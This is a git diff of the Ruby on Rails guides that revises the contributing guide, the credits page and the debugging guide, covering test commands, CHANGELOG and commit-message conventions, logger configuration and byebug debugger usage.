GUIDES_LANGUAGE=it-IT +``` + +This will generate the guides in an *output* directory. + +NOTE: The instructions are for Rails > 4. The Redcarpet Gem doesn't work with JRuby. + +Translation efforts we know about (various versions): + +* **Italian**: [https://github.com/rixlabs/docrails](https://github.com/rixlabs/docrails) +* **Spanish**: [http://wiki.github.com/gramos/docrails](http://wiki.github.com/gramos/docrails) +* **Polish**: [https://github.com/apohllo/docrails/tree/master](https://github.com/apohllo/docrails/tree/master) +* **French** : [https://github.com/railsfrance/docrails](https://github.com/railsfrance/docrails) +* **Czech** : [https://github.com/rubyonrails-cz/docrails/tree/czech](https://github.com/rubyonrails-cz/docrails/tree/czech) +* **Turkish** : [https://github.com/ujk/docrails/tree/master](https://github.com/ujk/docrails/tree/master) +* **Korean** : [https://github.com/rorlakr/rails-guides](https://github.com/rorlakr/rails-guides) +* **Simplified Chinese** : [https://github.com/ruby-china/guides](https://github.com/ruby-china/guides) +* **Traditional Chinese** : [https://github.com/docrails-tw/guides](https://github.com/docrails-tw/guides) +* **Russian** : [https://github.com/morsbox/rusrails](https://github.com/morsbox/rusrails) +* **Japanese** : [https://github.com/yasslab/railsguides.jp](https://github.com/yasslab/railsguides.jp) + Contributing to the Rails Code ------------------------------ @@ -161,7 +204,7 @@ In case you can't use the Rails development box, see [this other guide](developm To be able to contribute code, you need to clone the Rails repository: ```bash -$ git clone git://github.com/rails/rails.git +$ git clone https://github.com/rails/rails.git ``` and create a dedicated branch: @@ -291,7 +334,7 @@ You can run a single test through ruby. For instance: ```bash $ cd actionmailer -$ ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout +$ bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout ``` The `-n` option allows you to run a single method instead of the whole @@ -311,10 +354,9 @@ $ cd activerecord $ bundle exec rake test:sqlite3 ``` -You can now run the tests as you did for `sqlite3`. The tasks are respectively +You can now run the tests as you did for `sqlite3`. The tasks are respectively: ```bash -test:mysql test:mysql2 test:postgresql ``` @@ -325,12 +367,12 @@ Finally, $ bundle exec rake test ``` -will now run the four of them in turn. +will now run the three of them in turn. You can also run any single test separately: ```bash -$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb +$ ARCONN=sqlite3 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb ``` To run a single test against all adapters, use: @@ -355,9 +397,9 @@ $ RUBYOPT=-W0 bundle exec rake test The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version. -You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG. +You should add an entry **to the top** of the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG. -A CHANGELOG entry should summarize what was changed and should end with author's name and it should go on top of a CHANGELOG. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry: +A CHANGELOG entry should summarize what was changed and should end with the author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry: ``` * Summary of a change that briefly describes what was changed. You can use multiple @@ -374,7 +416,8 @@ A CHANGELOG entry should summarize what was changed and should end with author's *Your Name* ``` -Your name can be added directly after the last word if you don't provide any code examples or don't need multiple paragraphs. Otherwise, it's best to make as a new paragraph. +Your name can be added directly after the last word if there are no code +examples or multiple paragraphs. Otherwise, it's best to make a new paragraph. ### Updating the Gemfile.lock @@ -398,21 +441,27 @@ When you're happy with the code on your computer, you need to commit the changes $ git commit -a ``` -At this point, your editor should be fired up and you can write a message for this commit. Well formatted and descriptive commit messages are extremely helpful for the others, especially when figuring out why given change was made, so please take the time to write it. +This should fire up your editor to write a commit message. When you have +finished, save and close to continue. -Good commit message should be formatted according to the following example: +A well-formatted and descriptive commit message is very helpful to others for +understanding why the change was made, so please take the time to write it. + +A good commit message looks like this: ``` Short summary (ideally 50 characters or less) -More detailed description, if necessary. It should be wrapped to 72 -characters. Try to be as descriptive as you can, even if you think that -the commit content is obvious, it may not be obvious to others. You -should add such description also if it's already present in bug tracker, -it should not be necessary to visit a webpage to check the history. +More detailed description, if necessary. It should be wrapped to +72 characters. Try to be as descriptive as you can. Even if you +think that the commit content is obvious, it may not be obvious +to others. Add any description that is already present in the +relevant issues; it should not be necessary to visit a webpage +to check the history. + +The description section can have multiple paragraphs. -Description can have multiple paragraphs and you can use code examples -inside, just indent it with 4 spaces: +Code examples can be embedded by indenting them with 4 spaces: class ArticlesController def index @@ -422,13 +471,15 @@ inside, just indent it with 4 spaces: You can also add bullet points: -- you can use dashes or asterisks +- make a bullet point by starting a line with either a dash (-) + or an asterisk (*) -- also, try to indent next line of a point for readability, if it's too - long to fit in 72 characters +- wrap lines at 72 characters, and indent any additional lines + with 2 spaces for readability ``` -TIP. Please squash your commits into a single commit when appropriate. This simplifies future cherry picks, and also keeps the git log clean. +TIP. Please squash your commits into a single commit when appropriate. This +simplifies future cherry picks and keeps the git log clean. ### Update Your Branch @@ -455,7 +506,7 @@ Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and pr Add the new remote to your local repository on your local machine: ```bash -$ git remote add mine git@github.com:<your user name>/rails.git +$ git remote add mine https://github.com:<your user name>/rails.git ``` Push to your remote: @@ -469,7 +520,7 @@ You might have cloned your forked repository into your machine and might want to In the directory you cloned your fork: ```bash -$ git remote add rails git://github.com/rails/rails.git +$ git remote add rails https://github.com/rails/rails.git ``` Download new commits and branches from the official repository: @@ -519,7 +570,7 @@ pull request". The Rails core team will be notified about your submission. Most pull requests will go through a few iterations before they get merged. Different contributors will sometimes have different opinions, and often -patches will need revised before they can get merged. +patches will need to be revised before they can get merged. Some contributors to Rails have email notifications from GitHub turned on, but others do not. Furthermore, (almost) everyone who works on Rails is a @@ -566,8 +617,7 @@ following: ```bash $ git fetch upstream $ git checkout my_pull_request -$ git rebase upstream/master -$ git rebase -i +$ git rebase -i upstream/master < Choose 'squash' for all of your commits except the first one. > < Edit the commit message to make sense, and describe all your changes. > diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb index 61ea0b44ef..1d995581fa 100644 --- a/guides/source/credits.html.erb +++ b/guides/source/credits.html.erb @@ -28,7 +28,7 @@ Ruby on Rails Guides: Credits <h3 class="section">Rails Guides Authors</h3> <%= author('Ryan Bigg', 'radar', 'radar.png') do %> - Ryan Bigg works as the Community Manager at <a href="http://spreecommerce.com">Spree Commerce</a> and has been working with Rails since 2006. He's the author of <a href="https://leanpub.com/multi-tenancy-rails">Multi Tenancy With Rails</a> and co-author of <a href="http://manning.com/bigg2">Rails 4 in Action</a>. He's written many gems which can be seen on <a href="https://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>. + Ryan Bigg works as a Rails developer at <a href="http://marketplacer.com">Marketplacer</a> and has been working with Rails since 2006. He's the author of <a href="https://leanpub.com/multi-tenancy-rails">Multi Tenancy With Rails</a> and co-author of <a href="http://manning.com/bigg2">Rails 4 in Action</a>. He's written many gems which can be seen on <a href="https://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>. <% end %> <%= author('Oscar Del Ben', 'oscardelben', 'oscardelben.jpg') do %> diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md index a9715fb837..f0d0f9753a 100644 --- a/guides/source/debugging_rails_applications.md +++ b/guides/source/debugging_rails_applications.md @@ -17,7 +17,7 @@ After reading this guide, you will know: View Helpers for Debugging -------------------------- -One common task is to inspect the contents of a variable. In Rails, you can do this with three methods: +One common task is to inspect the contents of a variable. Rails provides three different ways to do this: * `debug` * `to_yaml` @@ -54,7 +54,7 @@ Title: Rails debugging guide ### `to_yaml` -Displaying an instance variable, or any other object or method, in YAML format can be achieved this way: +Alternatively, calling `to_yaml` on any object converts it to YAML. You can pass this converted object into the `simple_format` helper method to format the output. This is how `debug` does its magic. ```html+erb <%= simple_format @article.to_yaml %> @@ -64,9 +64,7 @@ Displaying an instance variable, or any other object or method, in YAML format c </p> ``` -The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic. - -As a result of this, you will have something like this in your view: +The above code will render something like this: ```yaml --- !ruby/object Article @@ -94,7 +92,7 @@ Another useful method for displaying object values is `inspect`, especially when </p> ``` -Will be rendered as follows: +Will render: ``` [1, 2, 3, 4, 5] @@ -109,36 +107,41 @@ It can also be useful to save information to log files at runtime. Rails maintai ### What is the Logger? -Rails makes use of the `ActiveSupport::Logger` class to write log information. You can also substitute another logger such as `Log4r` if you wish. +Rails makes use of the `ActiveSupport::Logger` class to write log information. Other loggers, such as `Log4r`, may also be substituted. -You can specify an alternative logger in your `environment.rb` or any environment file: +You can specify an alternative logger in `config/application.rb` or any other environment file, for example: ```ruby -Rails.logger = Logger.new(STDOUT) -Rails.logger = Log4r::Logger.new("Application Log") +config.logger = Logger.new(STDOUT) +config.logger = Log4r::Logger.new("Application Log") ``` Or in the `Initializer` section, add _any_ of the following ```ruby -config.logger = Logger.new(STDOUT) -config.logger = Log4r::Logger.new("Application Log") +Rails.logger = Logger.new(STDOUT) +Rails.logger = Log4r::Logger.new("Application Log") ``` TIP: By default, each log is created under `Rails.root/log/` and the log file is named after the environment in which the application is running. ### Log Levels -When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `Rails.logger.level` method. +When something is logged, it's printed into the corresponding log if the log +level of the message is equal to or higher than the configured log level. If you +want to know the current log level, you can call the `Rails.logger.level` +method. -The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`, corresponding to the log level numbers from 0 up to 5 respectively. To change the default log level, use +The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, +and `:unknown`, corresponding to the log level numbers from 0 up to 5, +respectively. To change the default log level, use ```ruby config.log_level = :warn # In any environment initializer, or Rails.logger.level = 0 # at any time ``` -This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information. +This is useful when you want to log under development or staging without flooding your production log with unnecessary information. TIP: The default Rails log level is `debug` in all environments. @@ -202,7 +205,7 @@ Adding extra logging like this makes it easy to search for unexpected or unusual When running multi-user, multi-account applications, it's often useful to be able to filter the logs using some custom rules. `TaggedLogging` -in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. +in Active Support helps you do exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. ```ruby logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) @@ -212,34 +215,33 @@ logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs " ``` ### Impact of Logs on Performance -Logging will always have a small impact on performance of your rails app, - particularly when logging to disk. However, there are a few subtleties: +Logging will always have a small impact on the performance of your Rails app, + particularly when logging to disk. Additionally, there are a few subtleties: Using the `:debug` level will have a greater performance penalty than `:fatal`, as a far greater number of strings are being evaluated and written to the log output (e.g. disk). -Another potential pitfall is that if you have many calls to `Logger` like this - in your code: +Another potential pitfall is too many calls to `Logger` in your code: ```ruby logger.debug "Person attributes hash: #{@person.attributes.inspect}" ``` -In the above example, There will be a performance impact even if the allowed +In the above example, there will be a performance impact even if the allowed output level doesn't include debug. The reason is that Ruby has to evaluate these strings, which includes instantiating the somewhat heavy `String` object -and interpolating the variables, and which takes time. +and interpolating the variables. Therefore, it's recommended to pass blocks to the logger methods, as these are -only evaluated if the output level is the same or included in the allowed level +only evaluated if the output level is the same as — or included in — the allowed level (i.e. lazy loading). The same code rewritten would be: ```ruby logger.debug {"Person attributes hash: #{@person.attributes.inspect}"} ``` -The contents of the block, and therefore the string interpolation, is only -evaluated if debug is enabled. This performance savings is only really +The contents of the block, and therefore the string interpolation, are only +evaluated if debug is enabled. This performance savings are only really noticeable with large amounts of logging, but it's a good practice to employ. Debugging with the `byebug` gem @@ -253,8 +255,8 @@ is your best companion. The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and -use this guide to learn how to move from the code you have written deeper into -Rails code. +use this guide to learn how to move from the code you have written into the +underlying Rails code. ### Setup @@ -285,7 +287,7 @@ As soon as your application calls the `byebug` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt `(byebug)`. Before the prompt, the code around the line that is about to be run will be -displayed and the current line will be marked by '=>'. Like this: +displayed and the current line will be marked by '=>', like this: ``` [1, 10] in /PathTo/project/app/controllers/articles_controller.rb @@ -310,16 +312,15 @@ processing the entire request. For example: ```bash -=> Booting WEBrick +=> Booting Puma => Rails 5.0.0 application starting in development on http://0.0.0.0:3000 => Run `rails server -h` for more startup options -=> Notice: server is listening on all interfaces (0.0.0.0). Consider using 127.0.0.1 (--binding option) -=> Ctrl-C to shutdown server -[2014-04-11 13:11:47] INFO WEBrick 1.3.1 -[2014-04-11 13:11:47] INFO ruby 2.1.1 (2014-02-24) [i686-linux] -[2014-04-11 13:11:47] INFO WEBrick::HTTPServer#start: pid=6370 port=3000 - - +Puma starting in single mode... +* Version 3.4.0 (ruby 2.3.1-p112), codename: Owl Bowl Brawl +* Min threads: 5, max threads: 5 +* Environment: development +* Listening on tcp://localhost:3000 +Use Ctrl-C to stop Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200 ActiveRecord::SchemaMigration Load (0.2ms) SELECT "schema_migrations".* FROM "schema_migrations" Processing by ArticlesController#index as HTML @@ -335,34 +336,57 @@ Processing by ArticlesController#index as HTML 10: respond_to do |format| 11: format.html # index.html.erb 12: format.json { render json: @articles } - (byebug) ``` -Now it's time to explore and dig into your application. A good place to start is +Now it's time to explore your application. A good place to start is by asking the debugger for help. Type: `help` ``` (byebug) help -byebug 2.7.0 - -Type 'help <command-name>' for help on a specific command + break -- Sets breakpoints in the source code + catch -- Handles exception catchpoints + condition -- Sets conditions on breakpoints + continue -- Runs until program ends, hits a breakpoint or reaches a line + debug -- Spawns a subdebugger + delete -- Deletes breakpoints + disable -- Disables breakpoints or displays + display -- Evaluates expressions every time the debugger stops + down -- Moves to a lower frame in the stack trace + edit -- Edits source files + enable -- Enables breakpoints or displays + finish -- Runs the program until frame returns + frame -- Moves to a frame in the call stack + help -- Helps you using byebug + history -- Shows byebug's history of commands + info -- Shows several informations about the program being debugged + interrupt -- Interrupts the program + irb -- Starts an IRB session + kill -- Sends a signal to the current process + list -- Lists lines of source code + method -- Shows methods of an object, class or module + next -- Runs one or more lines of code + pry -- Starts a Pry session + quit -- Exits byebug + restart -- Restarts the debugged program + save -- Saves current byebug session to a file + set -- Modifies byebug settings + show -- Shows byebug settings + source -- Restores a previously saved byebug session + step -- Steps into blocks or methods one or more times + thread -- Commands to manipulate threads + tracevar -- Enables tracing of a global variable + undisplay -- Stops displaying all or some expressions when program stops + untracevar -- Stops tracing a global variable + up -- Moves to a higher frame in the stack trace + var -- Shows variables and its values + where -- Displays the backtrace -Available commands: -backtrace delete enable help list pry next restart source up -break disable eval info method ps save step var -catch display exit interrupt next putl set thread -condition down finish irb p quit show trace -continue edit frame kill pp reload skip undisplay +(byebug) ``` -TIP: To view the help menu for any command use `help <command-name>` at the -debugger prompt. For example: _`help list`_. You can abbreviate any debugging -command by supplying just enough letters to distinguish them from other -commands, so you can also use `l` for the `list` command, for example. - -To see the previous ten lines you should type `list-` (or `l-`) +To see the previous ten lines you should type `list-` (or `l-`). ``` (byebug) l- @@ -378,12 +402,11 @@ To see the previous ten lines you should type `list-` (or `l-`) 8 @articles = Article.find_recent 9 10 respond_to do |format| - ``` -This way you can move inside the file, being able to see the code above and over -the line where you added the `byebug` call. Finally, to see where you are in -the code again you can type `list=` +This way you can move inside the file and see the code above the line where you +added the `byebug` call. Finally, to see where you are in the code again you can +type `list=` ``` (byebug) list= @@ -399,7 +422,6 @@ the code again you can type `list=` 10: respond_to do |format| 11: format.html # index.html.erb 12: format.json { render json: @articles } - (byebug) ``` @@ -411,8 +433,7 @@ contexts as you go through the different parts of the stack. The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables the debugger to inspect the frame stack, evaluate variables from the perspective of the -debugged program, and contains information about the place where the debugged -program is stopped. +debugged program, and know the place where the debugged program is stopped. At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got @@ -422,46 +443,45 @@ then `backtrace` will supply the answer. ``` (byebug) where --> #0 ArticlesController.index - at /PathTo/project/test_app/app/controllers/articles_controller.rb:8 - #1 ActionController::ImplicitRender.send_action(method#String, *args#Array) - at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/implicit_render.rb:4 + at /PathToProject/app/controllers/articles_controller.rb:8 + #1 ActionController::BasicImplicitRender.send_action(method#String, *args#Array) + at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/basic_implicit_render.rb:4 #2 AbstractController::Base.process_action(action#NilClass, *args#Array) - at /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb:189 - #3 ActionController::Rendering.process_action(action#NilClass, *args#NilClass) - at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/rendering.rb:10 + at /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb:181 + #3 ActionController::Rendering.process_action(action, *args) + at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/rendering.rb:30 ... ``` The current frame is marked with `-->`. You can move anywhere you want in this -trace (thus changing the context) by using the `frame _n_` command, where _n_ is +trace (thus changing the context) by using the `frame n` command, where _n_ is the specified frame number. If you do that, `byebug` will display your new context. ``` (byebug) frame 2 -[184, 193] in /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb - 184: # is the intended way to override action dispatching. - 185: # - 186: # Notice that the first argument is the method to be dispatched - 187: # which is *not* necessarily the same as the action name. - 188: def process_action(method_name, *args) -=> 189: send_action(method_name, *args) - 190: end - 191: - 192: # Actually call the method associated with the action. Override - 193: # this method if you wish to change how action methods are called, - +[176, 185] in /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb + 176: # is the intended way to override action dispatching. + 177: # + 178: # Notice that the first argument is the method to be dispatched + 179: # which is *not* necessarily the same as the action name. + 180: def process_action(method_name, *args) +=> 181: send_action(method_name, *args) + 182: end + 183: + 184: # Actually call the method associated with the action. Override + 185: # this method if you wish to change how action methods are called, (byebug) ``` The available variables are the same as if you were running the code line by line. After all, that's what debugging is. -You can also use `up [n]` (`u` for abbreviated) and `down [n]` commands in order -to change the context _n_ frames up or down the stack respectively. _n_ defaults -to one. Up in this case is towards higher-numbered stack frames, and down is -towards lower-numbered stack frames. +You can also use `up [n]` and `down [n]` commands in order to change the context +_n_ frames up or down the stack respectively. _n_ defaults to one. Up in this +case is towards higher-numbered stack frames, and down is towards lower-numbered +stack frames. ### Threads @@ -469,16 +489,15 @@ The debugger can list, stop, resume and switch between running threads by using the `thread` command (or the abbreviated `th`). This command has a handful of options: -* `thread` shows the current thread. -* `thread list` is used to list all threads and their statuses. The plus + -character and the number indicates the current thread of execution. -* `thread stop _n_` stop thread _n_. -* `thread resume _n_` resumes thread _n_. -* `thread switch _n_` switches the current thread context to _n_. +* `thread`: shows the current thread. +* `thread list`: is used to list all threads and their statuses. The current +thread is marked with a plus (+) sign. +* `thread stop n`: stops thread _n_. +* `thread resume n`: resumes thread _n_. +* `thread switch n`: switches the current thread context to _n_. -This command is very helpful, among other occasions, when you are debugging -concurrent threads and need to verify that there are no race conditions in your -code. +This command is very helpful when you are debugging concurrent threads and need +to verify that there are no race conditions in your code. ### Inspecting Variables @@ -502,9 +521,9 @@ current context: 12: format.json { render json: @articles } (byebug) instance_variables -[:@_action_has_layout, :@_routes, :@_headers, :@_status, :@_request, - :@_response, :@_env, :@_prefixes, :@_lookup_context, :@_action_name, - :@_response_body, :@marked_for_same_origin_verification, :@_config] +[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context, + :@_action_name, :@_response_body, :@marked_for_same_origin_verification, + :@_config] ``` As you may have figured out, all of the variables that you can access from a @@ -514,6 +533,7 @@ command later in this guide). ``` (byebug) next + [5, 14] in /PathTo/project/app/controllers/articles_controller.rb 5 # GET /articles.json 6 def index @@ -532,31 +552,40 @@ command later in this guide). And then ask again for the instance_variables: ``` -(byebug) instance_variables.include? "@articles" -true +(byebug) instance_variables +[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context, + :@_action_name, :@_response_body, :@marked_for_same_origin_verification, + :@_config, :@articles] ``` -Now `@articles` is included in the instance variables, because the line defining it -was executed. +Now `@articles` is included in the instance variables, because the line defining +it was executed. TIP: You can also step into **irb** mode with the command `irb` (of course!). -This way an irb session will be started within the context you invoked it. But -be warned: this is an experimental feature. +This will start an irb session within the context you invoked it. The `var` method is the most convenient way to show variables and their values. -Let's let `byebug` help us with it. +Let's have `byebug` help us with it. ``` (byebug) help var -v[ar] cl[ass] show class variables of self -v[ar] const <object> show constants of object -v[ar] g[lobal] show global variables -v[ar] i[nstance] <object> show instance variables of object -v[ar] l[ocal] show local variables + + [v]ar <subcommand> + + Shows variables and its values + + + var all -- Shows local, global and instance variables of self. + var args -- Information about arguments of the current scope + var const -- Shows constants of an object. + var global -- Shows global variables. + var instance -- Shows instance variables of self or a specific object. + var local -- Shows local variables in current scope. + ``` This is a great way to inspect the values of the current context variables. For -example, to check that we have no local variables currently defined. +example, to check that we have no local variables currently defined: ``` (byebug) var local @@ -570,16 +599,17 @@ You can also inspect for an object method this way: @_start_transaction_state = {} @aggregation_cache = {} @association_cache = {} -@attributes = {"id"=>nil, "created_at"=>nil, "updated_at"=>nil} -@attributes_cache = {} -@changed_attributes = nil -... +@attributes = #<ActiveRecord::AttributeSet:0x007fd0682a9b18 @attributes={"id"=>#<ActiveRecord::Attribute::FromDatabase:0x007fd0682a9a00 @name="id", @value_be... +@destroyed = false +@destroyed_by_association = nil +@marked_for_destruction = false +@new_record = true +@readonly = false +@transaction_state = nil +@txn = nil ``` -TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate -Ruby expressions and display the value of variables to the console. - -You can use also `display` to start watching variables. This is a good way of +You can also use `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on. ``` @@ -587,56 +617,46 @@ tracking the values of a variable while the execution goes on. 1: @articles = nil ``` -The variables inside the displaying list will be printed with their values after -you move in the stack. To stop displaying a variable use `undisplay _n_` where +The variables inside the displayed list will be printed with their values after +you move in the stack. To stop displaying a variable use `undisplay n` where _n_ is the variable number (1 in the last example). ### Step by Step Now you should know where you are in the running trace and be able to print the -available variables. But lets continue and move on with the application +available variables. But let's continue and move on with the application execution. Use `step` (abbreviated `s`) to continue running your program until the next -logical stopping point and return control to the debugger. - -You may also use `next` which is similar to step, but function or method calls -that appear within the line of code are executed without stopping. - -TIP: You can also use `step n` or `next n` to move forwards `n` steps at once. - -The difference between `next` and `step` is that `step` stops at the next line -of code executed, doing just a single step, while `next` moves to the next line -without descending inside methods. +logical stopping point and return control to the debugger. `next` is similar to +`step`, but while `step` stops at the next line of code executed, doing just a +single step, `next` moves to the next line without descending inside methods. For example, consider the following situation: -```ruby +``` Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200 Processing by ArticlesController#index as HTML -[1, 8] in /home/davidr/Proyectos/test_app/app/models/article.rb - 1: class Article < ActiveRecord::Base - 2: - 3: def self.find_recent(limit = 10) - 4: byebug -=> 5: where('created_at > ?', 1.week.ago).limit(limit) - 6: end - 7: - 8: end +[1, 6] in /PathToProject/app/models/article.rb + 1: class Article < ApplicationRecord + 2: def self.find_recent(limit = 10) + 3: byebug +=> 4: where('created_at > ?', 1.week.ago).limit(limit) + 5: end + 6: end (byebug) ``` -If we use `next`, we want go deep inside method calls. Instead, byebug will go -to the next line within the same context. In this case, this is the last line of -the method, so `byebug` will jump to next next line of the previous frame. +If we use `next`, we won't go deep inside method calls. Instead, `byebug` will +go to the next line within the same context. In this case, it is the last line +of the current method, so `byebug` will return to the next line of the caller +method. ``` (byebug) next -Next went up a frame because previous frame finished - -[4, 13] in /PathTo/project/test_app/app/controllers/articles_controller.rb +[4, 13] in /PathToProject/app/controllers/articles_controller.rb 4: # GET /articles 5: # GET /articles.json 6: def index @@ -651,29 +671,29 @@ Next went up a frame because previous frame finished (byebug) ``` -If we use `step` in the same situation, we will literally go the next ruby -instruction to be executed. In this case, the activesupport's `week` method. +If we use `step` in the same situation, `byebug` will literally go to the next +Ruby instruction to be executed -- in this case, Active Support's `week` method. ``` (byebug) step -[50, 59] in /PathToGems/activesupport-5.0.0/lib/active_support/core_ext/numeric/time.rb - 50: ActiveSupport::Duration.new(self * 24.hours, [[:days, self]]) - 51: end - 52: alias :day :days - 53: - 54: def weeks -=> 55: ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]]) - 56: end - 57: alias :week :weeks - 58: - 59: def fortnights - +[49, 58] in /PathToGems/activesupport-5.0.0/lib/active_support/core_ext/numeric/time.rb + 49: + 50: # Returns a Duration instance matching the number of weeks provided. + 51: # + 52: # 2.weeks # => 14 days + 53: def weeks +=> 54: ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]]) + 55: end + 56: alias :week :weeks + 57: + 58: # Returns a Duration instance matching the number of fortnights provided. (byebug) ``` -This is one of the best ways to find bugs in your code, or perhaps in Ruby on -Rails. +This is one of the best ways to find bugs in your code. + +TIP: You can also use `step n` or `next n` to move forward `n` steps at once. ### Breakpoints @@ -683,19 +703,18 @@ is reached. The debugger shell is invoked in that line. You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually: -* `break line`: set breakpoint in the _line_ in the current source file. -* `break file:line [if expression]`: set breakpoint in the _line_ number inside -the _file_. If an _expression_ is given it must evaluated to _true_ to fire up -the debugger. +* `break n`: set breakpoint in line number _n_ in the current source file. +* `break file:n [if expression]`: set breakpoint in line number _n_ inside +file named _file_. If an _expression_ is given it must evaluated to _true_ to +fire up the debugger. * `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The -_expression_ works the same way as with file:line. - +_expression_ works the same way as with file:n. For example, in the previous situation ``` -[4, 13] in /PathTo/project/app/controllers/articles_controller.rb +[4, 13] in /PathToProject/app/controllers/articles_controller.rb 4: # GET /articles 5: # GET /articles.json 6: def index @@ -708,20 +727,20 @@ For example, in the previous situation 13: end (byebug) break 11 -Created breakpoint 1 at /PathTo/project/app/controllers/articles_controller.rb:11 +Successfully created breakpoint with id 1 ``` -Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you -supply a number, it lists that breakpoint. Otherwise it lists all breakpoints. +Use `info breakpoints` to list breakpoints. If you supply a number, it lists +that breakpoint. Otherwise it lists all breakpoints. ``` (byebug) info breakpoints Num Enb What -1 y at /PathTo/project/app/controllers/articles_controller.rb:11 +1 y at /PathToProject/app/controllers/articles_controller.rb:11 ``` -To delete breakpoints: use the command `delete _n_` to remove the breakpoint +To delete breakpoints: use the command `delete n` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active. @@ -733,10 +752,11 @@ No breakpoints. You can also enable or disable breakpoints: -* `enable breakpoints`: allow a _breakpoints_ list or all of them if no list is -specified, to stop your program. This is the default state when you create a +* `enable breakpoints [n [m [...]]]`: allows a specific breakpoint list or all +breakpoints to stop your program. This is the default state when you create a breakpoint. -* `disable breakpoints`: the _breakpoints_ will have no effect on your program. +* `disable breakpoints [n [m [...]]]`: make certain (or all) breakpoints have +no effect on your program. ### Catching Exceptions @@ -751,52 +771,72 @@ To list all active catchpoints use `catch`. There are two ways to resume execution of an application that is stopped in the debugger: -* `continue` [line-specification] \(or `c`): resume program execution, at the -address where your script last stopped; any breakpoints set at that address are -bypassed. The optional argument line-specification allows you to specify a line -number to set a one-time breakpoint which is deleted when that breakpoint is -reached. -* `finish` [frame-number] \(or `fin`): execute until the selected stack frame -returns. If no frame number is given, the application will run until the -currently selected frame returns. The currently selected frame starts out the -most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been -performed. If a frame number is given it will run until the specified frame -returns. +* `continue [n]`: resumes program execution at the address where your script last +stopped; any breakpoints set at that address are bypassed. The optional argument +`n` allows you to specify a line number to set a one-time breakpoint which is +deleted when that breakpoint is reached. +* `finish [n]`: execute until the selected stack frame returns. If no frame +number is given, the application will run until the currently selected frame +returns. The currently selected frame starts out the most-recent frame or 0 if +no frame positioning (e.g up, down or frame) has been performed. If a frame +number is given it will run until the specified frame returns. ### Editing Two commands allow you to open code from the debugger into an editor: -* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR -environment variable. A specific _line_ can also be given. +* `edit [file:n]`: edit file named _file_ using the editor specified by the +EDITOR environment variable. A specific line _n_ can also be given. ### Quitting -To exit the debugger, use the `quit` command (abbreviated `q`), or its alias -`exit`. +To exit the debugger, use the `quit` command (abbreviated to `q`). Or, type `q!` +to bypass the `Really quit? (y/n)` prompt and exit unconditionally. A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again. ### Settings -`byebug` has a few available options to tweak its behaviour: +`byebug` has a few available options to tweak its behavior: + +``` +(byebug) help set + + set <setting> <value> + + Modifies byebug settings + + Boolean values take "on", "off", "true", "false", "1" or "0". If you + don't specify a value, the boolean setting will be enabled. Conversely, + you can use "set no<setting>" to disable them. -* `set autoreload`: Reload source code when changed (defaults: true). -* `set autolist`: Execute `list` command on every breakpoint (defaults: true). -* `set listsize _n_`: Set number of source lines to list by default to _n_ -(defaults: 10) -* `set forcestep`: Make sure the `next` and `step` commands always move to a new -line. + You can see these environment settings with the "show" command. -You can see the full list by using `help set`. Use `help set _subcommand_` to 